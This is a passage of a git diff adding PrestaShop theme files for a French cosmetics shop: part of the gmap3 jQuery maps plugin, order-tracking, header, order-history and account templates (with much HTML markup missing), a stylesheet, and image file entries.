google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + that._addclusteredmarkers(todo); + } + ); + return; + } + + if (typeof(radius) === 'number'){ + clusterer = new Clusterer(); + for(i=0 ; i 1){ + // look for the cluster design to use + m = 0; + for(k in styles){ + if ( (k > m) && (k <= cluster.idx.length) ){ + m = k; + } + } + if (styles[m]){ // cluster defined for the current markers count + w = ival(styles[m], 'width'); + h = ival(styles[m], 'height'); + + // create a custom _addOverlay command + atodo = {}; + $.extend( + true, + atodo, + ctodo, + { options:{ + pane: 'overlayLayer', + content:styles[m].content.replace('CLUSTER_COUNT', cluster.idx.length), + offset:{ + x: -w/2, + y: -h/2 + } + } + } + ); + obj = this._addOverlay(atodo, toLatLng(cluster), true); + atodo.options.pane = 'floatShadow'; + atodo.options.content = $('
        '); + atodo.options.content.width(w); + atodo.options.content.height(h); + shadow = this._addOverlay(atodo, toLatLng(cluster), true); + + // store data to the clusterer + ctodo.data = { + latLng: toLatLng(cluster), + markers:[] + }; + for(ii=0; ii
        '), + listeners = []; + + $div + .css('border', 'none') + .css('borderWidth', '0px') + .css('position', 'absolute'); + $div.append(opts.content); + + function f() { + _default.classes.OverlayView.call(this); + this.setMap(map); + } + + f.prototype = new _default.classes.OverlayView(); + + f.prototype.onAdd = function() { + var panes = this.getPanes(); + if (opts.pane in panes) { + $(panes[opts.pane]).append($div); + } + } + f.prototype.draw = function() { + var overlayProjection = this.getProjection(), + ps = overlayProjection.fromLatLngToDivPixel(latLng), + that = this; + + $div + .css('left', (ps.x+opts.offset.x) + 'px') + .css('top' , (ps.y+opts.offset.y) + 'px'); + + $.each( ("dblclick click mouseover mousemove mouseout mouseup mousedown").split(" "), function( i, name ) { + listeners.push( + google.maps.event.addDomListener($div[0], name, function(e) { + google.maps.event.trigger(that, name); + }) + ); + }); + listeners.push( + google.maps.event.addDomListener($div[0], "contextmenu", function(e) { + google.maps.event.trigger(that, "rightclick"); + }) + ); + } + f.prototype.onRemove = function() { + for (var i = 0; i < listeners.length; i++) { + google.maps.event.removeListener(listeners[i]); + } + $div.remove(); + } + f.prototype.hide = function() { + $div.hide(); + } + f.prototype.show = function() { + $div.show(); + } + f.prototype.toggle = function() { + if ($div) { + if ($div.is(':visible')){ + this.show(); + } else { + this.hide(); + } + } + } + f.prototype.toggleDOM = function() { + if (this.getMap()) { + this.setMap(null); + } else { + this.setMap(map); + } + } + f.prototype.getDOMElement = function() { + return $div[0]; + } + ov = new f(); + if (!internal){ + store.add('overlay', ov, o); + this._manageEnd(ov, o); + } + return ov; + } + + /** + * add a fix panel to a map + **/ + this.addfixpanel = function(todo){ + var o = getObject('fixpanel', todo), + x=y=0, $c, $div; + if (o.options.content){ + $c = $(o.options.content); + + if (o.options.left !== undefined){ + x = o.options.left; + } else if (o.options.right !== undefined){ + x = $this.width() - $c.width() - o.options.right; + } else if (o.options.center){ + x = ($this.width() - $c.width()) / 2; + } + + if (o.options.top !== undefined){ + y = o.options.top; + } else if (o.options.bottom !== undefined){ + y = $this.height() - $c.height() - o.options.bottom; + } else if (o.options.middle){ + y = ($this.height() - $c.height()) / 2 + } + + $div = $('
        ') + .css('position', 'absolute') + .css('top', y+'px') + .css('left', x+'px') + .css('z-index', '1000') + .append($c); + + $this.first().prepend($div); + this._attachEvents(map, o); + store.add('fixpanel', $div, o); + this._callback($div, o); + } + this._end(); + } + + /** + * add a direction renderer to a map + **/ + this.adddirectionsrenderer = function(todo, internal){ + var dr, o = getObject('directionrenderer', todo, 'panelId'); + o.options.map = map; + dr = new google.maps.DirectionsRenderer(o.options); + if (o.panelId) { + dr.setPanel(document.getElementById(o.panelId)); + } + store.add('directionrenderer', dr, o); + this._manageEnd(dr, o, internal); + return dr; + } + + /** + * set a direction panel to a dom element from its ID + **/ + this.setdirectionspanel = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directionpanel', todo, 'id'); + if (dr && o.id) { + dr.setPanel(document.getElementById(o.id)); + } + this._manageEnd(dr, o); + } + + /** + * set directions on a map (create Direction Renderer if needed) + **/ + this.setdirections = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directions', todo); + if (todo) { + o.options.directions = todo.directions ? todo.directions : (todo.options && todo.options.directions ? todo.options.directions : null); + } + if (o.options.directions) { + if (!dr) { + dr = this.adddirectionsrenderer(o, true); + } else { + dr.setDirections(o.options.directions); + } + } + this._manageEnd(dr, o); + } + + /** + * set a streetview to a map + **/ + this.setstreetview = function(todo){ + var panorama, + o = getObject('streetview', todo, 'id'); + if (o.options.position){ + o.options.position = toLatLng(o.options.position); + } + panorama = new _default.classes.StreetViewPanorama(document.getElementById(o.id),o.options); + if (panorama){ + map.setStreetView(panorama); + } + this._manageEnd(panorama, o); + } + + /** + * add a kml layer to a map + **/ + this.addkmllayer = function(todo){ + var kml, + o = getObject('kmllayer', todo, 'url'); + o.options.map = map; + if (typeof(o.url) === 'string'){ + kml = new _default.classes.KmlLayer(o.url, o.options); + } + store.add('kmllayer', kml, o); + this._manageEnd(kml, o); + } + + /** + * add a traffic layer to a map + **/ + this.addtrafficlayer = function(todo){ + var o = getObject('trafficlayer', todo), + tl = store.get('trafficlayer'); + if (!tl){ + tl = new _default.classes.TrafficLayer(); + tl.setMap(map); + store.add('trafficlayer', tl, o); + } + this._manageEnd(tl, o); + } + + /** + * add a bicycling layer to a map + **/ + this.addbicyclinglayer = function(todo){ + var o = getObject('bicyclinglayer', todo), + bl = store.get('bicyclinglayer'); + if (!bl){ + bl = new _default.classes.BicyclingLayer(); + bl.setMap(map); + store.add('bicyclinglayer', bl, o); + } + this._manageEnd(bl, o); + } + + /** + * add a ground overlay to a map + **/ + this.addgroundoverlay = function(todo){ + var ov, + o = getObject('groundoverlay', todo, ['bounds', 'url']); + o.bounds = toLatLngBounds(o.bounds); + if (o.bounds && (typeof(o.url) === 'string')){ + ov = new _default.classes.GroundOverlay(o.url, o.bounds); + ov.setMap(map); + store.add('groundoverlay', ov, o); + } + this._manageEnd(ov, o); + } + + /** + * geolocalise the user and return a LatLng + **/ + this.geolatlng = function(todo){ + var callback = ival(todo, 'callback'); + if (typeof(callback) === 'function') { + if(navigator.geolocation) { + navigator.geolocation.getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + callback.apply($this, [out]); + }, + function() { + var out = false; + callback.apply($this, [out]); + } + ); + } else if (google.gears) { + google.gears.factory.create('beta.geolocation').getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.latitude,position.longitude); + callback.apply($this, [out]); + }, + function() { + out = false; + callback.apply($this, [out]); + } + ); + } else { + callback.apply($this, [false]); + } + } + this._end(); + } + + /** + * add a style to a map + **/ + this.addstyledmap = function(todo, internal){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.style && o.id && !styles[o.id]) { + styles[o.id] = new _default.classes.StyledMapType(o.style, o.options); + if (map) { + map.mapTypes.set(o.id, styles[o.id]); + } + } + this._manageEnd(styles[o.id], o, internal); + } + + /** + * set a style to a map (add it if needed) + **/ + this.setstyledmap = function(todo){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.id) { + this.addstyledmap(o, true); + if (styles[o.id]) { + map.setMapTypeId(o.id); + this._callback(styles[o.id], todo); + } + } + this._manageEnd(styles[o.id], o); + } + + /** + * remove objects from a map + **/ + this.clear = function(todo){ + var list = array(ival(todo, 'list') || ival(todo, 'name')), + last = ival(todo, 'last', false), + first = ival(todo, 'first', false), + tag = ival(todo, 'tag'); + if (tag !== undefined){ + tag = array(tag); + } + store.clear(list, last, first, tag); + this._end(); + } + + /** + * return objects previously created + **/ + this.get = function(todo){ + var name = ival(todo, 'name') || 'map', + first= ival(todo, 'first'), + all = ival(todo, 'all'), + tag = ival(todo, 'tag'); + name = name.toLowerCase(); + if (name === 'map'){ + return map; + } + if (tag !== undefined){ + tag = array(tag); + } + if (first){ + return store.get(name, false, tag); + } else if (all){ + return store.all(name, tag); + } else { + return store.get(name, true, tag); + } + } + + /** + * return the max zoom of a location + **/ + this.getmaxzoom = function(todo){ + this._resolveLatLng(todo, '_getMaxZoom'); + } + + this._getMaxZoom = function(todo, latLng){ + var callback = ival(todo, 'callback'), + that = this; + if (callback && typeof(callback) === 'function') { + getMaxZoomService().getMaxZoomAtLatLng( + latLng, + function(result) { + var zoom = result.status === google.maps.MaxZoomStatus.OK ? result.zoom : false; + callback.apply($this, [zoom, result.status]); + that._end(); + } + ); + } else { + this._end(); + } + } + + /** + * modify default values + **/ + this.setdefault = function(todo){ + setDefault(todo); + this._end(); + } + + /** + * autofit a map using its overlays (markers, rectangles ...) + **/ + this.autofit = function(todo, internal){ + var names, list, obj, i, j, + empty = true, + bounds = new google.maps.LatLngBounds(), + maxZoom = ival(todo, 'maxZoom', null); + + names = store.names(); + for(i=0; i detect zoom level and check maxZoom + google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + if (this.getZoom() > maxZoom){ + this.setZoom(maxZoom); + } + } + ); + } + map.fitBounds(bounds); + } + if (!internal){ + this._manageEnd(empty ? false : bounds, todo, internal); + } + } + + }; + + //-----------------------------------------------------------------------// + // jQuery plugin + //-----------------------------------------------------------------------// + + $.fn.gmap3 = function(){ + var i, args, list = [], empty = true, results = []; + // store all arguments in a todo list + for(i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Guest tracking'}{/capture} +{include file="./breadcrumb.tpl"} + +

        {l s='Guest Tracking'}

        + +{if isset($order_collection)} + {foreach $order_collection as $order} + {assign var=order_state value=$order->getCurrentState()} + {assign var=invoice value=$order->invoice} + {assign var=order_history value=$order->order_history} + {assign var=carrier value=$order->carrier} + {assign var=address_invoice value=$order->address_invoice} + {assign var=address_delivery value=$order->address_delivery} + {assign var=inv_adr_fields value=$order->inv_adr_fields} + {assign var=dlv_adr_fields value=$order->dlv_adr_fields} + {assign var=invoiceAddressFormatedValues value=$order->invoiceAddressFormatedValues} + {assign var=deliveryAddressFormatedValues value=$order->deliveryAddressFormatedValues} + {assign var=currency value=$order->currency} + {assign var=discounts value=$order->discounts} + {assign var=invoiceState value=$order->invoiceState} + {assign var=deliveryState value=$order->deliveryState} + {assign var=products value=$order->products} + {assign var=customizedDatas value=$order->customizedDatas} + {assign var=HOOK_ORDERDETAILDISPLAYED value=$order->hook_orderdetaildisplayed} + {if isset($order->total_old)} + {assign var=total_old value=$order->total_old} + {/if} + {if isset($order->followup)} + {assign var=followup value=$order->followup} + {/if} + +
        +
        + {include file="./order-detail.tpl"} +
        +
        + {/foreach} + +

        {l s='For more advantages...'}

        + + {include file="$tpl_dir./errors.tpl"} + + {if isset($transformSuccess)} +

        {l s='Your guest account has been successfully transformed into a customer account. You can now login as a registered shopper. '} {l s='page.'}

        + {else} +
        +
        +

        {l s='Transform your guest account into a customer account and enjoy:'}

        +
          +
        • {l s='Personalized and secure access'}
        • +
        • {l s='Fast and easy checkout'}
        • +
        • {l s='Easier merchandise return'}
        • +
        +

        + + +

        + + + + + +

        +
        +
        + {/if} +{else} + {include file="$tpl_dir./errors.tpl"} + {if isset($show_login_link) && $show_login_link} +

        {l s='Information'}{l s='Click here to login to your customer account.'}

        + {/if} +
        +
        +

        {l s='To track your order, please enter the following information:'}

        +

        + + + {l s='For example: QIIXJXNUI or QIIXJXNUI#1'} +

        + +

        + + +

        + +

        +
        +
        +{/if} diff --git a/themes/default/header.tpl b/themes/default/header.tpl new file mode 100755 index 0000000..581378b --- /dev/null +++ b/themes/default/header.tpl @@ -0,0 +1,383 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + + {$meta_title|escape:'htmlall':'UTF-8'} +{if isset($meta_description) AND $meta_description} + +{/if} +{if isset($meta_keywords) AND $meta_keywords} + +{/if} + + + + + + + + + + + + + + + +{if isset($css_files)} + {foreach from=$css_files key=css_uri item=media} + + {/foreach} + +{/if} + + + +{if isset($js_files)} + {foreach from=$js_files item=js_uri} + + {/foreach} +{/if} +{if $page_name == 'product'} + + + +{/if} + + + {$HOOK_HEADER} + + + + + + + + +
        + + + + {if !$content_only} + {if isset($restricted_country_mode) && $restricted_country_mode} +
        +

        {l s='You cannot place a new order from your country.'} {$geolocation_country}

        +
        + {/if} +
        + +
        +
        + +
        +
        +
        + +{if isset($items_menu)} + + +{/if} +
        +
        +
        + +
        +
        + + +
        + + {/if} diff --git a/themes/default/history.tpl b/themes/default/history.tpl new file mode 100755 index 0000000..5aafb34 --- /dev/null +++ b/themes/default/history.tpl @@ -0,0 +1,73 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Historique des commandes'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{include file="$tpl_dir./errors.tpl"} +
        +

        [{l s='Historique des commandes'}]

        + +{if $slowValidation}

        {l s='If you have just placed an order, it may take a few minutes for it to be validated. Please refresh this page if your order is missing.'}

        {/if} + +
        + {if $orders && count($orders)} + + + + + + + + + + + + + {foreach from=$orders item=order name=myLoop} + + + + + + + + + {/foreach} + +
        {l s='Order reference'}{l s='Date'}{l s='Total price'}{l s='Payment: '}{l s='Status'}{l s='Invoice'}
        {dateFormat date=$order.date_add full=0}{displayPrice price=$order.total_paid currency=$order.id_currency no_utf8=false convert=false}{$order.payment|escape:'htmlall':'UTF-8'}{if isset($order.order_state)}{$order.order_state|escape:'htmlall':'UTF-8'}{/if} + {if (isset($order.invoice) && $order.invoice && isset($order.invoice_number) && $order.invoice_number) && isset($invoiceAllowed) && $invoiceAllowed == true} + {l s='Invoice'} + {l s='PDF'} + {else}- - -{/if} +
        + + {else} +

        {l s='You have not placed any orders.'}

        + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/identity.css b/themes/default/identity.css new file mode 100755 index 0000000..59a304a --- /dev/null +++ b/themes/default/identity.css @@ -0,0 +1,41 @@ +#identity #left_column {display:none} +#identity #center_column{} +#identity #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#identity #center_column h2 {color:#8daa01;font-size:16px;font-weight:bold;font-family:Arial,Sans-serif;} +#identity h3 { + font-weight:normal; + font-size:13px; +} +#identity p { + padding-bottom:10px; +} +#identity form.std fieldset { +} +#identity form.std fieldset p.radio span, +#identity form.std fieldset p.text label{ + width:296px; + text-align:left; + float:left; +} +#identity form.std fieldset p.password input, +#identity form.std fieldset p.text input{ + margin:4px 0 10px; +} + + +form.std p.text{ + color: #999999; + font-size: 13px; + line-height: 42px; + text-align: left; +} +#identity form.std fieldset p.bold{ + font-weight:bold; +} +#identity form.std fieldset p.checkbox{ + padding:0 0 10px; + font-size:13px; +} +form.std p.submit{ + padding:10px 0 30px; +} \ No newline at end of file diff --git a/themes/default/identity.tpl b/themes/default/identity.tpl new file mode 100755 index 0000000..ef80451 --- /dev/null +++ b/themes/default/identity.tpl @@ -0,0 +1,135 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Mes informations personnelles'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Mes informations personnelles'}]

        + +{include file="$tpl_dir./errors.tpl"} + +{if isset($confirmation) && $confirmation} +

        + {l s='Your personal information has been successfully updated.'} + {if isset($pwd_changed)}
        {l s='Your password has been sent to your email:'} {$email}{/if} +

        +{/if} + +
        +
        +

        {l s='Modifier mes coordonnées'}

        +

        + {l s='Title'} + {foreach from=$genders key=k item=gender} + {if $gender->id==2}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==3}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==1}id} checked="checked"{/if} /> + {/if} + {/foreach} +

        +

        + + +

        +

        + + +

        +

        + + + +
        {l s='Si vous voulez modifier votre date de naissance, contactez-nous au 01.45.20.32.52'} +

        +
        +
        +

        {l s='Modifier mon mot de passe'}

        +

        + + +

        +

        + + +

        +

        + + +

        + +

        {l s='Modifier mon email'}

        +

        + + {$smarty.post.email} + +

        +

        + + +

        +

        + + +

        +
        +
        +

        {l s='Modifier mon abonnement à la newsletter'}

        +

        {l s='Je souhaites recevoir la newsletter, les offres promotionnelles et les'}
        {l s='avant-première du Laboratoire Garancia'}

        + {if $newsletter} +

        + + +

        + {/if} +

        {l s='Les informations personnelles vous concernant et collectées dans le cadre du présent site internet sont destinées au Laboratoire Garancia afin de vous fournir les services souscrits. Ces données seront également stockées par le Laboratoire Garancia pour lui permettre de vous adresser des offres commerciales sur ses produits et services, ainsi que pour vous faire profiter du programme de fidélité du Laboratoire Garancia.'}
        {l s='Conformément à la loi Informatiques et Libertés du 6 janvier 1978, vous bénéficiez d\'un droit d\'accès, de rectification et de suppression des données personnelles qui vous concernent. Vous pouvez exercer ces droits en nous écrivant par mail ou à l\'adresse suivante: Laboratoire Garancia, 18 Avenue du Recteur Poincaré – 75016 PARIS, à laquelle vous pouvez également exercer votre droit d\'opposition à recevoir des offres commerciales. Ce droit vous sera également offert à la réception de tout message.'}

        +

        + {l s='Retour à mon compte'} + +

        +
        +
        +
        diff --git a/themes/default/img/Saveria-COSTE.jpg b/themes/default/img/Saveria-COSTE.jpg new file mode 100755 index 0000000..87aa3f6 Binary files /dev/null and b/themes/default/img/Saveria-COSTE.jpg differ diff --git a/themes/default/img/Saveria-COSTE.png b/themes/default/img/Saveria-COSTE.png new file mode 100755 index 0000000..d02de44 Binary files /dev/null and b/themes/default/img/Saveria-COSTE.png differ diff --git a/themes/default/img/Saveria-COSTE2.jpg b/themes/default/img/Saveria-COSTE2.jpg new file mode 100755 index 0000000..b586739 Binary files /dev/null and b/themes/default/img/Saveria-COSTE2.jpg differ diff --git a/themes/default/img/address_alias_full_width.gif b/themes/default/img/address_alias_full_width.gif new file mode 100755 index 0000000..60718e5 Binary files /dev/null and b/themes/default/img/address_alias_full_width.gif differ diff --git a/themes/default/img/address_alias_left.gif b/themes/default/img/address_alias_left.gif new file mode 100755 index 0000000..df0d639 Binary files /dev/null and b/themes/default/img/address_alias_left.gif differ diff --git a/themes/default/img/address_alias_right.gif b/themes/default/img/address_alias_right.gif new file mode 100755 index 0000000..a0c0779 Binary files /dev/null and b/themes/default/img/address_alias_right.gif differ diff --git a/themes/default/img/ajax-loader.gif b/themes/default/img/ajax-loader.gif new file mode 100755 index 0000000..6f1fb33 Binary files /dev/null and b/themes/default/img/ajax-loader.gif differ diff --git a/themes/default/img/arrow_right_1.png b/themes/default/img/arrow_right_1.png new file mode 100755 index 0000000..7c3d29b Binary files /dev/null and b/themes/default/img/arrow_right_1.png differ diff --git a/themes/default/img/arrow_right_2.png b/themes/default/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/themes/default/img/arrow_right_2.png differ diff --git a/themes/default/img/arrow_rotate_anticlockwise.png b/themes/default/img/arrow_rotate_anticlockwise.png new file mode 100755 index 0000000..46c75aa Binary files /dev/null and b/themes/default/img/arrow_rotate_anticlockwise.png differ diff --git a/themes/default/img/bg-title-blog.png b/themes/default/img/bg-title-blog.png new file mode 100755 index 0000000..719978b Binary files /dev/null and b/themes/default/img/bg-title-blog.png differ diff --git a/themes/default/img/bgBody.jpg b/themes/default/img/bgBody.jpg new file mode 100755 index 0000000..ff7658c Binary files /dev/null and b/themes/default/img/bgBody.jpg differ diff --git a/themes/default/img/bgEspacepharmaciens.jpg b/themes/default/img/bgEspacepharmaciens.jpg new file mode 100755 index 0000000..744d032 Binary files /dev/null and b/themes/default/img/bgEspacepharmaciens.jpg differ diff --git a/themes/default/img/bgMenuGauche.png b/themes/default/img/bgMenuGauche.png new file mode 100755 index 0000000..efbc1da Binary files /dev/null and b/themes/default/img/bgMenuGauche.png differ diff --git a/themes/default/img/bgOrderConfirmation.png b/themes/default/img/bgOrderConfirmation.png new file mode 100755 index 0000000..ba64e83 Binary files /dev/null and b/themes/default/img/bgOrderConfirmation.png differ diff --git a/themes/default/img/bgOrderConfirmationBot.png b/themes/default/img/bgOrderConfirmationBot.png new file mode 100755 index 0000000..cb1718b Binary files /dev/null and b/themes/default/img/bgOrderConfirmationBot.png differ diff --git a/themes/default/img/bgOrderConfirmationRepeat.png b/themes/default/img/bgOrderConfirmationRepeat.png new file mode 100755 index 0000000..8b445f8 Binary files /dev/null and b/themes/default/img/bgOrderConfirmationRepeat.png differ diff --git a/themes/default/img/bgOrderConfirmationTop.png b/themes/default/img/bgOrderConfirmationTop.png new file mode 100755 index 0000000..82ba181 Binary files /dev/null and b/themes/default/img/bgOrderConfirmationTop.png differ diff --git a/themes/default/img/bg_404.png b/themes/default/img/bg_404.png new file mode 100755 index 0000000..dfc9108 Binary files /dev/null and b/themes/default/img/bg_404.png differ diff --git a/themes/default/img/bg_account.jpg b/themes/default/img/bg_account.jpg new file mode 100755 index 0000000..5c1f1ff Binary files /dev/null and b/themes/default/img/bg_account.jpg differ diff --git a/themes/default/img/bg_address_title.png b/themes/default/img/bg_address_title.png new file mode 100755 index 0000000..1c79aca Binary files /dev/null and b/themes/default/img/bg_address_title.png differ diff --git a/themes/default/img/bg_blog.jpg b/themes/default/img/bg_blog.jpg new file mode 100755 index 0000000..f6934b2 Binary files /dev/null and b/themes/default/img/bg_blog.jpg differ diff --git a/themes/default/img/bg_bottom_list.png b/themes/default/img/bg_bottom_list.png new file mode 100755 index 0000000..7357a0b Binary files /dev/null and b/themes/default/img/bg_bottom_list.png differ diff --git a/themes/default/img/bg_bottom_list_big.png b/themes/default/img/bg_bottom_list_big.png new file mode 100755 index 0000000..72dab1b Binary files /dev/null and b/themes/default/img/bg_bottom_list_big.png differ diff --git a/themes/default/img/bg_bottom_list_white.png b/themes/default/img/bg_bottom_list_white.png new file mode 100755 index 0000000..3f0a89e Binary files /dev/null and b/themes/default/img/bg_bottom_list_white.png differ diff --git a/themes/default/img/bg_bt.gif b/themes/default/img/bg_bt.gif new file mode 100755 index 0000000..202d52a Binary files /dev/null and b/themes/default/img/bg_bt.gif differ diff --git a/themes/default/img/bg_bt_2.gif b/themes/default/img/bg_bt_2.gif new file mode 100755 index 0000000..7b477d7 Binary files /dev/null and b/themes/default/img/bg_bt_2.gif differ diff --git a/themes/default/img/bg_bt_compare.gif b/themes/default/img/bg_bt_compare.gif new file mode 100755 index 0000000..aa1fe98 Binary files /dev/null and b/themes/default/img/bg_bt_compare.gif differ diff --git a/themes/default/img/bg_bt_newsletter_ok.png b/themes/default/img/bg_bt_newsletter_ok.png new file mode 100755 index 0000000..1462a19 Binary files /dev/null and b/themes/default/img/bg_bt_newsletter_ok.png differ diff --git a/themes/default/img/bg_cart_voucher_submit.png b/themes/default/img/bg_cart_voucher_submit.png new file mode 100755 index 0000000..413dd42 Binary files /dev/null and b/themes/default/img/bg_cart_voucher_submit.png differ diff --git a/themes/default/img/bg_categories_block.png b/themes/default/img/bg_categories_block.png new file mode 100755 index 0000000..4a03bdc Binary files /dev/null and b/themes/default/img/bg_categories_block.png differ diff --git a/themes/default/img/bg_check_giftcard.png b/themes/default/img/bg_check_giftcard.png new file mode 100755 index 0000000..43c0d34 Binary files /dev/null and b/themes/default/img/bg_check_giftcard.png differ diff --git a/themes/default/img/bg_comments.jpg b/themes/default/img/bg_comments.jpg new file mode 100755 index 0000000..8e64662 Binary files /dev/null and b/themes/default/img/bg_comments.jpg differ diff --git a/themes/default/img/bg_discount_name.png b/themes/default/img/bg_discount_name.png new file mode 100755 index 0000000..4cade69 Binary files /dev/null and b/themes/default/img/bg_discount_name.png differ diff --git a/themes/default/img/bg_form_h3.png b/themes/default/img/bg_form_h3.png new file mode 100755 index 0000000..e8e3561 Binary files /dev/null and b/themes/default/img/bg_form_h3.png differ diff --git a/themes/default/img/bg_input.png b/themes/default/img/bg_input.png new file mode 100755 index 0000000..92db89a Binary files /dev/null and b/themes/default/img/bg_input.png differ diff --git a/themes/default/img/bg_li_idTabs.png b/themes/default/img/bg_li_idTabs.png new file mode 100755 index 0000000..04aa8b8 Binary files /dev/null and b/themes/default/img/bg_li_idTabs.png differ diff --git a/themes/default/img/bg_maintenance.png b/themes/default/img/bg_maintenance.png new file mode 100755 index 0000000..f95c88e Binary files /dev/null and b/themes/default/img/bg_maintenance.png differ diff --git a/themes/default/img/bg_reduction.png b/themes/default/img/bg_reduction.png new file mode 100755 index 0000000..2a1cbd9 Binary files /dev/null and b/themes/default/img/bg_reduction.png differ diff --git a/themes/default/img/bg_search_input.png b/themes/default/img/bg_search_input.png new file mode 100755 index 0000000..92db89a Binary files /dev/null and b/themes/default/img/bg_search_input.png differ diff --git a/themes/default/img/bg_search_submit.png b/themes/default/img/bg_search_submit.png new file mode 100755 index 0000000..4a44d03 Binary files /dev/null and b/themes/default/img/bg_search_submit.png differ diff --git a/themes/default/img/bg_star.png b/themes/default/img/bg_star.png new file mode 100755 index 0000000..1036ad9 Binary files /dev/null and b/themes/default/img/bg_star.png differ diff --git a/themes/default/img/bg_table_th.png b/themes/default/img/bg_table_th.png new file mode 100755 index 0000000..9e83c9a Binary files /dev/null and b/themes/default/img/bg_table_th.png differ diff --git a/themes/default/img/bgspecial-10.png b/themes/default/img/bgspecial-10.png new file mode 100755 index 0000000..6314d2f Binary files /dev/null and b/themes/default/img/bgspecial-10.png differ diff --git a/themes/default/img/bgspecial-11.png b/themes/default/img/bgspecial-11.png new file mode 100755 index 0000000..a61a3a6 Binary files /dev/null and b/themes/default/img/bgspecial-11.png differ diff --git a/themes/default/img/bgspecial-32.png b/themes/default/img/bgspecial-32.png new file mode 100755 index 0000000..3243ebf Binary files /dev/null and b/themes/default/img/bgspecial-32.png differ diff --git a/themes/default/img/bgspecial-33.png b/themes/default/img/bgspecial-33.png new file mode 100755 index 0000000..bbf8524 Binary files /dev/null and b/themes/default/img/bgspecial-33.png differ diff --git a/themes/default/img/bgspecial-4.png b/themes/default/img/bgspecial-4.png new file mode 100755 index 0000000..c17d6c0 Binary files /dev/null and b/themes/default/img/bgspecial-4.png differ diff --git a/themes/default/img/bgspecial-5.png b/themes/default/img/bgspecial-5.png new file mode 100755 index 0000000..5ddc85a Binary files /dev/null and b/themes/default/img/bgspecial-5.png differ diff --git a/themes/default/img/bgspecial-6.png b/themes/default/img/bgspecial-6.png new file mode 100755 index 0000000..47a6dff Binary files /dev/null and b/themes/default/img/bgspecial-6.png differ diff --git a/themes/default/img/bgspecial-8.png b/themes/default/img/bgspecial-8.png new file mode 100755 index 0000000..4b737a6 Binary files /dev/null and b/themes/default/img/bgspecial-8.png differ diff --git a/themes/default/img/bgspecial-9.png b/themes/default/img/bgspecial-9.png new file mode 100755 index 0000000..703d9d7 Binary files /dev/null and b/themes/default/img/bgspecial-9.png differ diff --git a/themes/default/img/bgspecial.png b/themes/default/img/bgspecial.png new file mode 100755 index 0000000..4808667 Binary files /dev/null and b/themes/default/img/bgspecial.png differ diff --git a/themes/default/img/blocPhilosophie.png b/themes/default/img/blocPhilosophie.png new file mode 100755 index 0000000..4abe774 Binary files /dev/null and b/themes/default/img/blocPhilosophie.png differ diff --git a/themes/default/img/blocRightContact.png b/themes/default/img/blocRightContact.png new file mode 100755 index 0000000..bc02c8b Binary files /dev/null and b/themes/default/img/blocRightContact.png differ diff --git a/themes/default/img/block_bg.jpg b/themes/default/img/block_bg.jpg new file mode 100755 index 0000000..12d87c9 Binary files /dev/null and b/themes/default/img/block_bg.jpg differ diff --git a/themes/default/img/block_bg_myaccount.jpg b/themes/default/img/block_bg_myaccount.jpg new file mode 100755 index 0000000..5ec8409 Binary files /dev/null and 